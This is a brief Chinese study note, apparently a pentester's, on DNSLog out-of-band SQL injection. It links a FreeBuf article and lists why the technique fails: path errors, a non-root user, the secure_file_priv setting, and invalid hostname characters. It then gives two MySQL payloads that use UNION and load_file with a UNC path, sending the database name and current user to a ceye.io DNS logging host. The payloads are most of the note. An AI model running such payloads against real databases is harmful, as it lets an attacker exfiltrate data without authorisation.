DNSLog注入

DNSLog注入原理以及错误原因

链接地址

https://www.freebuf.com/articles/web/259023.html

错误原因

1. 路径错误
2. 不是root用户、secure_file_priv的限制
3. url地址不正确，dnslog平台解析的是url地址，所以连接的地址只能包含数字字母下划线这3类

sql

select * from table_name where id=1 union select 1,load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'));
select load_file(concat('\\\\',(select user()),'.ac.xxxx.ceye.io\\aaa'));#平台没有回显，因为有@符号